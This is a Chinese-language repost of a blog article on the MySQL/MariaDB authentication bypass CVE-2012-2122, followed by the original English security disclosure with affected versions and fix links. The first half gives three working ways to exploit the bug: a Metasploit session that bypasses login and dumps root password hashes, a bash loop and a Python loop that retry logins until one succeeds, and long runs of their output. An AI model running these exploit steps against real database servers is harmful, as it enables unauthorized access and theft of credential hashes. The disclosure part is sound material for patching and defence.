Mysql身份认证漏洞及利用(CVE-2012-2122)

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。
也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。而且漏洞利用工具已经出现。受影响的产品:
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are
vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.网上已经出了metasploit版本的相应利用工具,下载地址利用方法如下:
$ msfconsole
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf auxiliary(mysql_authbypass_hashdump) > set USERNAME root
msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1
msf auxiliary(mysql_authbypass_hashdump) > run
[+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test
[*] 127.0.0.1:3306 Authentication bypass is 10% complete
[*] 127.0.0.1:3306 Authentication bypass is 20% complete
[*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts
[+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes…
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89
[*] 127.0.0.1:3306 Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
测试方法2:
$ for i in `seq 1 1000`; do mysql -u root –password=bad -h 127.0.0.1 2>/dev/null; done
mysql>
测试方法3:
#!/usr/bin/python
import subprocess

while 1:
subprocess.Popen(“mysql -u root mysql –password=blah”, shell=True).wait()
如下:
relik@stronghold:~# python mysql_bypass.py
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
Reading table information for completion of table and column names
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mysql>

转自http://www.freebuf.com/vuls/3815.html

提出漏洞的原文如下:

Security vulnerability in MySQL/MariaDB sql/password.c
From: Sergei Golubchik
Date: Sat, 9 Jun 2012 17:30:38 +0200
Hi

We have recently found a serious security bug in MariaDB and MySQL.
So, here, we’d like to let you know about what the issue and its impact
is. At the end you can find a patch, in case you need to patch an older
unsuported MySQL version.

All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are
vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

This issue got assigned an id CVE-2012-2122.

Here’s the issue. When a user connects to MariaDB/MySQL, a token (SHA
over a password and a random scramble string) is calculated and compared
with the expected value. Because of incorrect casting, it might’ve
happened that the token and the expected value were considered equal,
even if the memcmp() returned a non-zero value. In this case
MySQL/MariaDB would think that the password is correct, even while it is
not. Because the protocol uses random strings, the probability of
hitting this bug is about 1/256.

Which means, if one knows a user name to connect (and “root” almost
always exists), she can connect using *any* password by repeating
connection attempts. ~300 attempts takes only a fraction of second, so
basically account password protection is as good as nonexistent.
Any client will do, there’s no need for a special libmysqlclient library.

But practically it’s better than it looks – many MySQL/MariaDB builds
are not affected by this bug.

Whether a particular build of MySQL or MariaDB is vulnerable, depends on
how and where it was built. A prerequisite is a memcmp() that can return
an arbitrary integer (outside of -128..127 range). To my knowledge gcc
builtin memcmp is safe, BSD libc memcmp is safe. Linux glibc
sse-optimized memcmp is not safe, but gcc usually uses the inlined
builtin version.

As far as I know, official vendor MySQL and MariaDB binaries are not
vulnerable.

Regards,
Sergei Golubchik
MariaDB Security Coordinator

References:

MariaDB bug report: https://mariadb.atlassian.net/browse/MDEV-212
MariaDB fix: http://bazaar.launchpad.net/~maria-captains/maria/5.1/revision/3144

MySQL bug report: http://bugs.mysql.com/bug.php?id=64884
MySQL fix: http://bazaar.launchpad.net/~mysql/mysql-server/5.1/revision/3560.10.17
MySQL changelog:
http://dev.mysql.com/doc/refman/5.1/en/news-5-1-63.html
http://dev.mysql.com/doc/refman/5.5/en/news-5-5-24.html

原文地址http://seclists.org/oss-sec/2012/q2/493

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